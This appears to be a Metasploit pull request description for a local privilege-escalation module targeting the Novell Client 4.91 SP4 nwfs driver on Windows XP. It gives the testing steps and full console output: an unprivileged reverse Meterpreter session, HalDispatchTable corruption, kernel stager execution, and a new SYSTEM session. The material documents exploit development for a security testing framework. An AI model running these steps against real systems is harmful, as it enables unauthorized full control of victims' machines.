Add module for OSVDB 46578

Vulnerability in driver install with Novell Client 4.91 SP4. Tested successfully with Novell Client 4.91 SP4 on Windows XP SP3.

The software can be downloaded from: http://download.novell.com/Download?buildid=SyZ1G2ti7wU~

It's a local exploit. In order to test the easier way is to get an unprivileged session (with a payload embedded on an exe and exploits/multi/handler). An use the exploit to escalate the session to SYSTEM:

```
msf> use exploit/multi/handler 
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.245
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.245:1122) at 2013-06-21 17:24:03 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use exploit/windows/local/novell_client_nwfs 
msf exploit(novell_client_nwfs) > set session 2
session => 2
msf exploit(novell_client_nwfs) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.0.4:4444 
[*] Detecting the target system...
[*] "Windows XP (Build 2600, Service Pack 3)."
[*] Running against Windows XP SP3
[*] Checking device...
[+] \\.\nwfs found!
[*] Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...
[+] Addresses successfully disclosed.
[*] Storing the kernel stager on memory...
[+] Kernel stager successfully stored at 0x1000
[*] Storing the trampoline to the kernel stager on memory...
[+] Trampoline successfully stored at 0x3
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Exploitation successfull!
[*] Storing the final payload on memory...
[+] Final payload successfully stored at 0xc0c0000
[*] Executing the payload...
[*] Sending stage (751104 bytes) to 192.168.0.4
[+] Enjoy!
[*] Meterpreter session 3 opened (192.168.0.4:4444 -> 192.168.0.4:60186) at 2013-06-21 17:24:34 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 3...
msf exploit(novell_client_nwfs) > sessions

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  2   meterpreter x86/win32  JUAN-C0DE875735\Administrator @ JUAN-C0DE875735  192.168.172.1:4444 -> 192.168.172.245:1122 (192.168.172.245)
  3   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ JUAN-C0DE875735            192.168.0.4:4444 -> 192.168.0.4:60186 (192.168.0.4)

msf exploit(novell_client_nwfs) > 

```